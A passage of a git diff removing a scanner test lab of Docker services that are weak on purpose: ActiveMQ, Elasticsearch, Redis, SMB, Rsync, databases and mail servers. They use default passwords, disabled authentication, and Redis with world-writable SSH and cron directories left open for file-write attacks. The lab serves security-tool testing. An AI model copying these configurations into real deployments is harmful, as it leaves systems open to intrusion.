defineConfig } from 'vite' -import react from '@vitejs/plugin-react' -import path from 'path' - -export default defineConfig({ - plugins: [react()], - resolve: { - alias: { - '@': path.resolve(__dirname, './src'), - }, - }, - server: { - host: '0.0.0.0', - port: 3000, - }, -}) diff --git a/fscan-lab/test-services/ActiveMQ/Dockerfile b/fscan-lab/test-services/ActiveMQ/Dockerfile deleted file mode 100644 index 69fecc4c..00000000 --- a/fscan-lab/test-services/ActiveMQ/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM rmohr/activemq:5.15.9 - -# 复制STOMP专用配置文件 -COPY activemq.xml /opt/activemq/conf/activemq.xml - -# 仅暴露STOMP协议端口 -EXPOSE 61613 61614 - -# 设置环境变量 -ENV ACTIVEMQ_OPTS_MEMORY="-Xms64M -Xmx512M" -ENV ACTIVEMQ_OPTS="-Djava.util.logging.config.file=logging.properties -Djava.security.auth.login.config=/opt/activemq/conf/login.config" - -# 启动ActiveMQ -CMD ["/opt/activemq/bin/activemq", "console"] \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/README.txt b/fscan-lab/test-services/ActiveMQ/README.txt deleted file mode 100644 index cf3143c6..00000000 --- a/fscan-lab/test-services/ActiveMQ/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t activemq-weak . -docker run -d --name activemq-test -p 61616:61616 -p 8161:8161 -p 61613:61613 activemq-weak \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/activemq.xml b/fscan-lab/test-services/ActiveMQ/activemq.xml deleted file mode 100644 index d9a050a1..00000000 --- a/fscan-lab/test-services/ActiveMQ/activemq.xml +++ /dev/null @@ -1,55 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/docker-compose.yml b/fscan-lab/test-services/ActiveMQ/docker-compose.yml deleted file mode 100644 index bc24f475..00000000 --- a/fscan-lab/test-services/ActiveMQ/docker-compose.yml +++ /dev/null @@ -1,15 +0,0 @@ -version: '3.8' - -services: - activemq: - build: . - ports: - - "61613:61613" # STOMP - - "61616:61616" # OpenWire - - "8162:8161" # Web Console (mapped to host port 8162) - environment: - - ACTIVEMQ_ADMIN_LOGIN=admin - - ACTIVEMQ_ADMIN_PASSWORD=Aa123456789 - volumes: - - ./activemq.xml:/opt/activemq/conf/activemq.xml - - ./users.properties:/opt/activemq/conf/users.properties \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/jetty-realm.properties b/fscan-lab/test-services/ActiveMQ/jetty-realm.properties deleted file mode 100644 index 7a170845..00000000 --- a/fscan-lab/test-services/ActiveMQ/jetty-realm.properties +++ /dev/null @@ -1,12 +0,0 @@ -# ActiveMQ Web Console用户认证配置 -# 格式: username: password [,role1,role2,...] - -# 管理员用户 -admin: Aa123456789,admin,user -test: test123,user -root: root123,admin,user -system: admin123,admin,user - -# 默认测试用户 -user: user,user -guest: guest,user \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/jetty.xml b/fscan-lab/test-services/ActiveMQ/jetty.xml deleted file mode 100644 index b73c2ae5..00000000 --- a/fscan-lab/test-services/ActiveMQ/jetty.xml +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/users.properties b/fscan-lab/test-services/ActiveMQ/users.properties deleted file mode 100644 index fd3f9404..00000000 --- a/fscan-lab/test-services/ActiveMQ/users.properties +++ /dev/null @@ -1,4 +0,0 @@ -admin=Aa123456789 -test=test123 -root=root123 -system=admin123 \ No newline at end of file diff --git a/fscan-lab/test-services/Cassandra/README.txt b/fscan-lab/test-services/Cassandra/README.txt deleted file mode 100644 index c4dad5c7..00000000 --- a/fscan-lab/test-services/Cassandra/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t cassandra-weak . -docker run -d --name cassandra-test -e CASSANDRA_AUTHENTICATOR=AllowAllAuthenticator -p 9042:9042 -p 9160:9160 cassandra:3.11 \ No newline at end of file diff --git a/fscan-lab/test-services/Elasticsearch/Dockerfile b/fscan-lab/test-services/Elasticsearch/Dockerfile deleted file mode 100644 index eb1514ff..00000000 --- a/fscan-lab/test-services/Elasticsearch/Dockerfile +++ /dev/null @@ -1,19 +0,0 @@ -FROM docker.elastic.co/elasticsearch/elasticsearch:7.9.3 - -# 设置环境变量允许单节点运行 -ENV discovery.type=single-node - -# 允许任意IP访问 -ENV network.host=0.0.0.0 - -# 设置弱密码 -ENV ELASTIC_PASSWORD=elastic123 - -# 暴露端口 -EXPOSE 9200 9300 - -# 设置默认用户名elastic和密码elastic123 -RUN echo 'elastic:elastic123' > /usr/share/elasticsearch/config/users - -# 关闭xpack安全功能,使其可以无认证访问 -RUN echo 'xpack.security.enabled: false' >> /usr/share/elasticsearch/config/elasticsearch.yml \ No newline at end of file diff --git a/fscan-lab/test-services/Elasticsearch/README.txt b/fscan-lab/test-services/Elasticsearch/README.txt deleted file mode 100644 index cd65b5b9..00000000 --- a/fscan-lab/test-services/Elasticsearch/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t elastic-test . -docker run -d -p 9200:9200 -p 9300:9300 elastic-test \ No newline at end of file diff --git a/fscan-lab/test-services/FTP/README.txt b/fscan-lab/test-services/FTP/README.txt deleted file mode 100644 index 65043000..00000000 --- a/fscan-lab/test-services/FTP/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker run -d -p 20:20 -p 21:21 -e FTP_USER=admin -e FTP_PASS=123456 -e PASV_ADDRESS=127.0.0.1 --name ftp bogem/ftp -Mac上可能有问题 \ No newline at end of file diff --git a/fscan-lab/test-services/FTP/docker-compose.yml b/fscan-lab/test-services/FTP/docker-compose.yml deleted file mode 100644 index 461c1c42..00000000 --- a/fscan-lab/test-services/FTP/docker-compose.yml +++ /dev/null @@ -1,16 +0,0 @@ -version: '3' -services: - ftp: - image: bogem/ftp - container_name: ftp-test - environment: - - FTP_USER=admin - - FTP_PASS=123456 - - PASV_ADDRESS=127.0.0.1 - - PASV_MIN_PORT=30000 - - PASV_MAX_PORT=30100 - ports: - - "21:21" - - "20:20" - - "30000-30100:30000-30100" - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/IMAP/Dockerfile b/fscan-lab/test-services/IMAP/Dockerfile deleted file mode 100644 index f489f54d..00000000 --- a/fscan-lab/test-services/IMAP/Dockerfile +++ /dev/null @@ -1,74 +0,0 @@ -FROM ubuntu:20.04 - -ENV DEBIAN_FRONTEND=noninteractive - -# 安装 Dovecot 和工具 -RUN apt-get update && \ - apt-get install -y dovecot-imapd dovecot-gssapi ssl-cert net-tools procps && \ - apt-get clean && \ - rm -rf /var/lib/apt/lists/* - -# 创建邮件存储目录和邮箱 -RUN mkdir -p /var/mail/vhosts/ && \ - chmod 777 /var/mail/vhosts/ - -# 创建用户和密码文件 -RUN echo "test:{PLAIN}123456" > /etc/dovecot/passwd && \ - echo "admin:{PLAIN}admin123" >> /etc/dovecot/passwd && \ - echo "root:{PLAIN}root123" >> /etc/dovecot/passwd && \ - chown dovecot:dovecot /etc/dovecot/passwd && \ - chmod 600 /etc/dovecot/passwd - -# 配置Dovecot -RUN echo ' \ -protocols = imap \n\ -listen = * \n\ -ssl = yes \n\ -ssl_cert = /etc/dovecot/dovecot.conf - -# 创建vmail用户并设置正确的权限 -RUN groupadd -g 5000 vmail && \ - useradd -g vmail -u 5000 vmail && \ - chown -R vmail:vmail /var/mail && \ - chown -R dovecot:dovecot /etc/dovecot && \ - chmod -R 644 /etc/dovecot/dovecot.conf - -EXPOSE 143 993 - -CMD ["dovecot", "-F"] \ No newline at end of file diff --git a/fscan-lab/test-services/IMAP/README.txt b/fscan-lab/test-services/IMAP/README.txt deleted file mode 100644 index 0d4d3709..00000000 --- a/fscan-lab/test-services/IMAP/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t weak-imap . -docker run -d --name imap-test -p 143:143 -p 993:993 weak-imap \ No newline at end of file diff --git a/fscan-lab/test-services/Kafka/README.txt b/fscan-lab/test-services/Kafka/README.txt deleted file mode 100644 index 5177d11e..00000000 --- a/fscan-lab/test-services/Kafka/README.txt +++ /dev/null @@ -1 +0,0 @@ -docker-compose up -d \ No newline at end of file diff --git a/fscan-lab/test-services/Kafka/docker-compose.yml b/fscan-lab/test-services/Kafka/docker-compose.yml deleted file mode 100644 index 3554a74d..00000000 --- a/fscan-lab/test-services/Kafka/docker-compose.yml +++ /dev/null @@ -1,22 +0,0 @@ -# docker-compose.yml -version: '3' -services: - kafka: - image: bitnami/kafka:latest - ports: - - "9092:9092" - environment: - - KAFKA_CFG_NODE_ID=1 - - KAFKA_CFG_PROCESS_ROLES=broker,controller - - KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=1@kafka:9093 - - KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER - - KAFKA_CFG_LISTENERS=CONTROLLER://:9093,SASL_PLAINTEXT://:9092 - - KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092 - - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SASL_PLAINTEXT:SASL_PLAINTEXT - - KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN - - KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN - - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT - - KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf - - ALLOW_PLAINTEXT_LISTENER=yes - volumes: - - ./kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf \ No newline at end of file diff --git a/fscan-lab/test-services/Kafka/kafka_jaas.conf b/fscan-lab/test-services/Kafka/kafka_jaas.conf deleted file mode 100644 index e1b83dfc..00000000 --- a/fscan-lab/test-services/Kafka/kafka_jaas.conf +++ /dev/null @@ -1,8 +0,0 @@ -KafkaServer { - org.apache.kafka.common.security.plain.PlainLoginModule required - username="admin" - password="admin123" - user_admin="admin123" - user_test="test123" - user_kafka="kafka123"; -}; \ No newline at end of file diff --git a/fscan-lab/test-services/LDAP/Dockerfile b/fscan-lab/test-services/LDAP/Dockerfile deleted file mode 100644 index f4150b34..00000000 --- a/fscan-lab/test-services/LDAP/Dockerfile +++ /dev/null @@ -1,18 +0,0 @@ -FROM osixia/openldap:1.5.0 - -# 环境变量设置 -ENV LDAP_ORGANISATION="Example Inc" -ENV LDAP_DOMAIN="example.com" -ENV LDAP_BASE_DN="dc=example,dc=com" -# 设置一个弱密码 -ENV LDAP_ADMIN_PASSWORD="Aa123456789" -# 允许匿名访问 -ENV LDAP_READONLY_USER="true" -ENV LDAP_READONLY_USER_USERNAME="readonly" -ENV LDAP_READONLY_USER_PASSWORD="readonly" - -# 暴露端口 -EXPOSE 389 636 - -# 创建初始化脚本 -COPY bootstrap.ldif /container/service/slapd/assets/config/bootstrap/ldif/custom/ \ No newline at end of file diff --git a/fscan-lab/test-services/LDAP/README.txt b/fscan-lab/test-services/LDAP/README.txt deleted file mode 100644 index 57b4ca50..00000000 --- a/fscan-lab/test-services/LDAP/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t ldap-weak . -docker run -d --name ldap-test -p 389:389 -p 636:636 ldap-weak \ No newline at end of file diff --git a/fscan-lab/test-services/LDAP/bootstrap.ldif b/fscan-lab/test-services/LDAP/bootstrap.ldif deleted file mode 100644 index d243511e..00000000 --- a/fscan-lab/test-services/LDAP/bootstrap.ldif +++ /dev/null @@ -1,24 +0,0 @@ -dn: ou=users,dc=example,dc=com -objectClass: organizationalUnit -ou: users - -dn: cn=admin,ou=users,dc=example,dc=com -objectClass: inetOrgPerson -cn: admin -sn: admin -uid: admin -userPassword: admin123 - -dn: cn=test,ou=users,dc=example,dc=com -objectClass: inetOrgPerson -cn: test -sn: test -uid: test -userPassword: test123 - -dn: cn=root,ou=users,dc=example,dc=com -objectClass: inetOrgPerson -cn: root -sn: root -uid: root -userPassword: root123 \ No newline at end of file diff --git a/fscan-lab/test-services/MSSQL/Dockerfile b/fscan-lab/test-services/MSSQL/Dockerfile deleted file mode 100644 index ec801ba0..00000000 --- a/fscan-lab/test-services/MSSQL/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -# 使用SQL Server官方镜像 -FROM mcr.microsoft.com/mssql/server:2022-latest - -# 设置环境变量 -ENV ACCEPT_EULA=Y -ENV MSSQL_SA_PASSWORD=P@ssword123 -ENV MSSQL_PID=Express - -# 开放1433端口 -EXPOSE 1433 - -# 健康检查 -HEALTHCHECK --interval=30s --timeout=3s \ - CMD /opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P P@ssword123 -Q "SELECT 1" || exit 1 \ No newline at end of file diff --git a/fscan-lab/test-services/MSSQL/README.txt b/fscan-lab/test-services/MSSQL/README.txt deleted file mode 100644 index 0bcdce78..00000000 --- a/fscan-lab/test-services/MSSQL/README.txt +++ /dev/null @@ -1,5 +0,0 @@ -docker build -t mssql-server . -docker run -d \ - -p 1433:1433 \ - --name mssql-container \ - mssql-server \ No newline at end of file diff --git a/fscan-lab/test-services/Memcached/Dockerfile b/fscan-lab/test-services/Memcached/Dockerfile deleted file mode 100644 index e2d3e20e..00000000 --- a/fscan-lab/test-services/Memcached/Dockerfile +++ /dev/null @@ -1,11 +0,0 @@ -# 使用Memcached官方镜像 -FROM memcached:latest - -# 开放11211端口 -EXPOSE 11211 - -# 设置启动参数 -# -m 64: 分配64MB内存 -# -c 1024: 最大同时连接数1024 -# -v: 显示版本信息 -CMD ["memcached", "-m", "64", "-c", "1024", "-v"] \ No newline at end of file diff --git a/fscan-lab/test-services/Memcached/README.txt b/fscan-lab/test-services/Memcached/README.txt deleted file mode 100644 index 7047a326..00000000 --- a/fscan-lab/test-services/Memcached/README.txt +++ /dev/null @@ -1,5 +0,0 @@ -docker build -t memcached-server . -docker run -d \ - -p 11211:11211 \ - --name memcached-container \ - memcached-server \ No newline at end of file diff --git a/fscan-lab/test-services/Modbus/README.txt b/fscan-lab/test-services/Modbus/README.txt deleted file mode 100644 index d5938641..00000000 --- a/fscan-lab/test-services/Modbus/README.txt +++ /dev/null @@ -1 +0,0 @@ -docker run --rm -p 5020:5020 oitc/modbus-server:latest \ No newline at end of file diff --git a/fscan-lab/test-services/Mongodb/Dockerfile b/fscan-lab/test-services/Mongodb/Dockerfile deleted file mode 100644 index 4a1ee6e6..00000000 --- a/fscan-lab/test-services/Mongodb/Dockerfile +++ /dev/null @@ -1,13 +0,0 @@ -# 使用MongoDB官方镜像 -FROM mongo:latest - -# 设置环境变量 -ENV MONGO_INITDB_ROOT_USERNAME=admin -ENV MONGO_INITDB_ROOT_PASSWORD=123456 - -# 开放27017端口 -EXPOSE 27017 - -# 健康检查 -HEALTHCHECK --interval=30s --timeout=3s \ - CMD mongosh --eval 'db.runCommand("ping").ok' localhost:27017/test --quiet \ No newline at end of file diff --git a/fscan-lab/test-services/Mongodb/README.txt b/fscan-lab/test-services/Mongodb/README.txt deleted file mode 100644 index b75298c2..00000000 --- a/fscan-lab/test-services/Mongodb/README.txt +++ /dev/null @@ -1,5 +0,0 @@ -docker build -t mongodb-server . -docker run -d \ - -p 27017:27017 \ - --name mongodb-container \ - mongodb-server \ No newline at end of file diff --git a/fscan-lab/test-services/MySQL/Dockerfile b/fscan-lab/test-services/MySQL/Dockerfile deleted file mode 100644 index 0320f93a..00000000 --- a/fscan-lab/test-services/MySQL/Dockerfile +++ /dev/null @@ -1,17 +0,0 @@ -# 使用MySQL官方镜像 -FROM mysql:latest - -# 设置环境变量 -ENV MYSQL_ROOT_PASSWORD=Password -ENV MYSQL_DATABASE=mydb - -# 开放3306端口 -EXPOSE 3306 - -# MySQL配置 -# 允许远程访问 -COPY my.cnf /etc/mysql/conf.d/my.cnf - -# 健康检查 -HEALTHCHECK --interval=30s --timeout=3s \ - CMD mysql -uroot -p"${MYSQL_ROOT_PASSWORD}" -e "SELECT 1" || exit 1 \ No newline at end of file diff --git a/fscan-lab/test-services/MySQL/README.txt b/fscan-lab/test-services/MySQL/README.txt deleted file mode 100644 index dbd446dd..00000000 --- a/fscan-lab/test-services/MySQL/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t mysql-server . -docker run -d -p 3306:3306 --name mysql-container mysql-server \ No newline at end of file diff --git a/fscan-lab/test-services/MySQL/my.cnf b/fscan-lab/test-services/MySQL/my.cnf deleted file mode 100644 index ff1b64f7..00000000 --- a/fscan-lab/test-services/MySQL/my.cnf +++ /dev/null @@ -1,2 +0,0 @@ -[mysqld] -bind-address = 0.0.0.0 \ No newline at end of file diff --git a/fscan-lab/test-services/Neo4j/Dockerfile b/fscan-lab/test-services/Neo4j/Dockerfile deleted file mode 100644 index 979b03bb..00000000 --- a/fscan-lab/test-services/Neo4j/Dockerfile +++ /dev/null @@ -1,9 +0,0 @@ -FROM neo4j:4.4 - -ENV NEO4J_AUTH=neo4j/123456 -ENV NEO4J_dbms_security_procedures_unrestricted=apoc.* -ENV NEO4J_dbms_security_auth_enabled=true - -EXPOSE 7474 7687 - -CMD ["neo4j"] \ No newline at end of file diff --git a/fscan-lab/test-services/Neo4j/docker-compose.yml b/fscan-lab/test-services/Neo4j/docker-compose.yml deleted file mode 100644 index 7e2cd957..00000000 --- a/fscan-lab/test-services/Neo4j/docker-compose.yml +++ /dev/null @@ -1,11 +0,0 @@ -version: '3' -services: - neo4j: - image: neo4j:4.4 - ports: - - "7474:7474" - - "7687:7687" - environment: - - NEO4J_AUTH=neo4j/123456 - - NEO4J_dbms_security_auth_enabled=true - container_name: neo4j-weak \ No newline at end of file diff --git a/fscan-lab/test-services/Oracle/Dockerfile b/fscan-lab/test-services/Oracle/Dockerfile deleted file mode 100644 index 584fd6c8..00000000 --- a/fscan-lab/test-services/Oracle/Dockerfile +++ /dev/null @@ -1,13 +0,0 @@ -# 使用Oracle官方容器镜像 -FROM container-registry.oracle.com/database/express:21.3.0-xe - -# 设置环境变量 -ENV ORACLE_PWD=123456 -ENV ORACLE_CHARACTERSET=AL32UTF8 - -# 开放1521端口 -EXPOSE 1521 5500 - -# 健康检查 -HEALTHCHECK --interval=30s --timeout=30s --start-period=5m --retries=3 \ - CMD nc -z localhost 1521 || exit 1 \ No newline at end of file diff --git a/fscan-lab/test-services/Oracle/README.txt b/fscan-lab/test-services/Oracle/README.txt deleted file mode 100644 index 08cc3720..00000000 --- a/fscan-lab/test-services/Oracle/README.txt +++ /dev/null @@ -1,11 +0,0 @@ -首先需要在Oracle Container Registry网站注册并接受许可协议: -https://container-registry.oracle.com - -docker login container-registry.oracle.com - -docker build -t oracle-db . - -docker run -d \ - -p 1521:1521 \ - --name oracle-container \ - oracle-db \ No newline at end of file diff --git a/fscan-lab/test-services/POP3/Dockerfile b/fscan-lab/test-services/POP3/Dockerfile deleted file mode 100644 index b8c1b543..00000000 --- a/fscan-lab/test-services/POP3/Dockerfile +++ /dev/null @@ -1,64 +0,0 @@ -FROM ubuntu:20.04 - -# 避免交互式提示 -ENV DEBIAN_FRONTEND=noninteractive - -# 安装必要的包 -RUN apt-get update && apt-get install -y \ - dovecot-pop3d \ - openssl \ - && rm -rf /var/lib/apt/lists/* - -# 生成SSL证书 -RUN openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ - -keyout /etc/ssl/private/dovecot.pem \ - -out /etc/ssl/certs/dovecot.pem \ - -subj "/C=US/ST=State/L=City/O=Organization/CN=localhost" - -# 配置Dovecot -RUN echo '\ -protocols = pop3\n\ -listen = *\n\ -ssl = yes\n\ -ssl_cert = /etc/dovecot/dovecot.conf - -# 创建密码文件 -RUN echo '\ -admin:{PLAIN}admin123\n\ -test:{PLAIN}test123\n\ -root:{PLAIN}root123\n\ -' > /etc/dovecot/passwd - -# 创建用户文件 -RUN echo '\ -admin:x:1000:1000::/home/admin:/bin/false\n\ -test:x:1001:1001::/home/test:/bin/false\n\ -root:x:1002:1002::/home/root:/bin/false\n\ -' > /etc/dovecot/users - -# 创建必要的目录和权限 -RUN mkdir -p /home/admin /home/test /home/root && \ - chown 1000:1000 /home/admin && \ - chown 1001:1001 /home/test && \ - chown 1002:1002 /home/root - -# 暴露端口 -EXPOSE 110 995 - -# 启动Dovecot -CMD ["dovecot", "-F"] \ No newline at end of file diff --git a/fscan-lab/test-services/POP3/README.txt b/fscan-lab/test-services/POP3/README.txt deleted file mode 100644 index 84ae03a5..00000000 --- a/fscan-lab/test-services/POP3/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t pop3-test . -docker run -d --name pop3-server -p 110:110 -p 995:995 pop3-test \ No newline at end of file diff --git a/fscan-lab/test-services/Postgre/Dockerfile b/fscan-lab/test-services/Postgre/Dockerfile deleted file mode 100644 index 5cc0085f..00000000 --- a/fscan-lab/test-services/Postgre/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -# 使用PostgreSQL官方镜像 -FROM postgres:latest - -# 设置环境变量 -ENV POSTGRES_USER=postgres -ENV POSTGRES_PASSWORD=123456 -ENV POSTGRES_DB=mydb - -# 开放5432端口 -EXPOSE 5432 - -# 健康检查 -HEALTHCHECK --interval=30s --timeout=3s \ - CMD pg_isready -U postgres || exit 1 \ No newline at end of file diff --git a/fscan-lab/test-services/Postgre/README.md b/fscan-lab/test-services/Postgre/README.md deleted file mode 100644 index 69d98914..00000000 --- a/fscan-lab/test-services/Postgre/README.md +++ /dev/null @@ -1,5 +0,0 @@ -docker build -t postgres-server . -docker run -d \ --p 5432:5432 \ ---name postgres-container \ -postgres-server \ No newline at end of file diff --git a/fscan-lab/test-services/RabbitMQ/Dockerfile b/fscan-lab/test-services/RabbitMQ/Dockerfile deleted file mode 100644 index 88a38db3..00000000 --- a/fscan-lab/test-services/RabbitMQ/Dockerfile +++ /dev/null @@ -1,10 +0,0 @@ -FROM rabbitmq:3-management - -# 环境变量设置默认的用户名和密码 -ENV RABBITMQ_DEFAULT_USER=admin -ENV RABBITMQ_DEFAULT_PASS=123456 - -# 开放标准端口 -# 5672: AMQP 协议端口 -# 15672: HTTP API 端口和管理UI -EXPOSE 5672 15672 \ No newline at end of file diff --git a/fscan-lab/test-services/RabbitMQ/README.txt b/fscan-lab/test-services/RabbitMQ/README.txt deleted file mode 100644 index 02db0909..00000000 --- a/fscan-lab/test-services/RabbitMQ/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t rabbitmq-weak . -docker run -d --name rabbitmq-test -p 5672:5672 -p 15672:15672 rabbitmq-weak \ No newline at end of file diff --git a/fscan-lab/test-services/Redis/Dockerfile b/fscan-lab/test-services/Redis/Dockerfile deleted file mode 100644 index 2378361b..00000000 --- a/fscan-lab/test-services/Redis/Dockerfile +++ /dev/null @@ -1,35 +0,0 @@ -FROM redis:5.0.1 - -# 创建测试目录并设置权限 -RUN mkdir -p /root/.ssh && \ - mkdir -p /var/spool/cron && \ - mkdir -p /var/spool/cron/crontabs && \ - mkdir -p /var/www/html && \ - mkdir -p /etc/redis && \ - mkdir -p /tmp/test && \ - chmod 755 /root && \ - chmod -R 777 /root/.ssh && \ - chmod -R 777 /var/spool/cron && \ - chmod -R 777 /var/spool/cron/crontabs && \ - chmod -R 777 /var/www/html && \ - chmod -R 777 /etc/redis && \ - chmod -R 777 /tmp/test && \ - echo "测试目录已创建,可以写入" > /tmp/test/test.txt - -# 配置Redis允许远程连接和任意文件写入 -RUN echo "port 6379\n\ -bind 0.0.0.0\n\ -dir /data\n\ -dbfilename dump.rdb\n\ -protected-mode no\n\ -daemonize no\n\ -appendonly no\n\ -requirepass \"\"\n\ -" > /etc/redis/redis.conf - -WORKDIR /data - -EXPOSE 6379 - -# 启动Redis服务器 -CMD ["redis-server", "/etc/redis/redis.conf"] \ No newline at end of file diff --git a/fscan-lab/test-services/Redis/README.txt b/fscan-lab/test-services/Redis/README.txt deleted file mode 100644 index 8cd13132..00000000 --- a/fscan-lab/test-services/Redis/README.txt +++ /dev/null @@ -1,5 +0,0 @@ -docker build -t redis-server . -docker run -d \ - -p 6379:6379 \ - --name redis-container \ - redis-server \ No newline at end of file diff --git a/fscan-lab/test-services/Redis/docker-compose.yml b/fscan-lab/test-services/Redis/docker-compose.yml deleted file mode 100644 index c52ecefc..00000000 --- a/fscan-lab/test-services/Redis/docker-compose.yml +++ /dev/null @@ -1,18 +0,0 @@ -version: '3.8' -services: - redis: - build: . - container_name: redis_test - ports: - - "6379:6379" - volumes: - - redis-data:/data - networks: - - test-network - -networks: - test-network: - driver: bridge - -volumes: - redis-data: diff --git a/fscan-lab/test-services/Redis/redis.conf b/fscan-lab/test-services/Redis/redis.conf deleted file mode 100644 index 2b4f2c0a..00000000 --- a/fscan-lab/test-services/Redis/redis.conf +++ /dev/null @@ -1,5 +0,0 @@ -bind 0.0.0.0 -port 6379 -protected-mode no -dir /data -daemonize no \ No newline at end of file diff --git a/fscan-lab/test-services/Rsync/Dockerfile b/fscan-lab/test-services/Rsync/Dockerfile deleted file mode 100644 index de7bf05f..00000000 --- a/fscan-lab/test-services/Rsync/Dockerfile +++ /dev/null @@ -1,40 +0,0 @@ -FROM ubuntu:20.04 - -# 安装rsync -RUN apt-get update && \ - apt-get install -y rsync - -# 创建测试目录和用户 -RUN mkdir -p /data/public && \ - mkdir -p /data/secure && \ - useradd -m testuser && \ - echo "testuser:123456" | chpasswd - -# 配置文件 -RUN echo 'pid file = /var/run/rsyncd.pid' > /etc/rsyncd.conf && \ - echo 'log file = /var/log/rsyncd.log' >> /etc/rsyncd.conf && \ - echo 'transfer logging = yes' >> /etc/rsyncd.conf && \ - echo 'use chroot = yes' >> /etc/rsyncd.conf && \ - echo '[public]' >> /etc/rsyncd.conf && \ - echo 'path = /data/public' >> /etc/rsyncd.conf && \ - echo 'comment = Public Share' >> /etc/rsyncd.conf && \ - echo 'read only = yes' >> /etc/rsyncd.conf && \ - echo 'auth users = *' >> /etc/rsyncd.conf && \ - echo 'secrets file = /etc/rsyncd.secrets' >> /etc/rsyncd.conf && \ - echo '[anonymous]' >> /etc/rsyncd.conf && \ - echo 'path = /data/public' >> /etc/rsyncd.conf && \ - echo 'comment = Anonymous Share' >> /etc/rsyncd.conf && \ - echo 'read only = yes' >> /etc/rsyncd.conf && \ - echo 'auth users = ' >> /etc/rsyncd.conf - -# 创建密码文件(使用fscan默认字典能检测到的弱密码) -RUN echo 'root:123456' > /etc/rsyncd.secrets && \ - echo 'admin:admin' >> /etc/rsyncd.secrets && \ - echo 'backup:backup' >> /etc/rsyncd.secrets && \ - chmod 600 /etc/rsyncd.secrets - -# 暴露Rsync默认端口 -EXPOSE 873 - -# 启动rsync守护进程 -CMD ["rsync", "--daemon", "--no-detach", "--config=/etc/rsyncd.conf"] \ No newline at end of file diff --git a/fscan-lab/test-services/Rsync/README.txt b/fscan-lab/test-services/Rsync/README.txt deleted file mode 100644 index 62989553..00000000 --- a/fscan-lab/test-services/Rsync/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t rsync-test . -docker run -d --name rsync-server -p 873:873 rsync-test \ No newline at end of file diff --git a/fscan-lab/test-services/Rsync/docker-compose.yml b/fscan-lab/test-services/Rsync/docker-compose.yml deleted file mode 100644 index 978f27fc..00000000 --- a/fscan-lab/test-services/Rsync/docker-compose.yml +++ /dev/null @@ -1,9 +0,0 @@ -version: '3.8' - -services: - rsync: - build: . - ports: - - "873:873" - container_name: rsync_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/SMB/Dockerfile b/fscan-lab/test-services/SMB/Dockerfile deleted file mode 100644 index a2de7654..00000000 --- a/fscan-lab/test-services/SMB/Dockerfile +++ /dev/null @@ -1,52 +0,0 @@ -FROM ubuntu:20.04 - -# 安装 Samba 服务 -RUN apt-get update && \ - DEBIAN_FRONTEND=noninteractive apt-get install -y \ - samba \ - samba-common-bin \ - && rm -rf /var/lib/apt/lists/* - -# 创建共享目录 -RUN mkdir -p /shared/documents /shared/backups - -# 创建 Samba 用户 (弱密码账户用于渗透测试) -RUN useradd -M -s /sbin/nologin printer && \ - (echo 'printer123'; echo 'printer123') | smbpasswd -s -a printer && \ - useradd -M -s /sbin/nologin administrator && \ - (echo 'admin123'; echo 'admin123') | smbpasswd -s -a administrator && \ - useradd -M -s /sbin/nologin admin && \ - (echo 'admin'; echo 'admin') | smbpasswd -s -a admin && \ - useradd -M -s /sbin/nologin guest && \ - (echo 'guest'; echo 'guest') | smbpasswd -s -a guest - -# 配置 Samba -RUN printf '[global]\n\ - workgroup = WORKGROUP\n\ - server string = Office Printer Server\n\ - security = user\n\ - map to guest = Never\n\ - dns proxy = no\n\ - passdb backend = tdbsam\n\ -\n\ -[print$]\n\ - comment = Printer Drivers Share\n\ - path = /shared/documents\n\ - browseable = yes\n\ - read only = no\n\ - guest ok = no\n\ - valid users = printer administrator admin guest\n\ -\n\ -[backup]\n\ - comment = Printer Backup Files\n\ - path = /shared/backups\n\ - browseable = yes\n\ - read only = no\n\ - guest ok = no\n\ - valid users = printer administrator admin guest\n' > /etc/samba/smb.conf - -# 开放 SMB 端口 -EXPOSE 139 445 - -# 启动 Samba 服务 -CMD ["smbd", "--foreground", "--no-process-group"] diff --git a/fscan-lab/test-services/SMTP/Dockerfile b/fscan-lab/test-services/SMTP/Dockerfile deleted file mode 100644 index 91ea8a72..00000000 --- a/fscan-lab/test-services/SMTP/Dockerfile +++ /dev/null @@ -1,51 +0,0 @@ -FROM 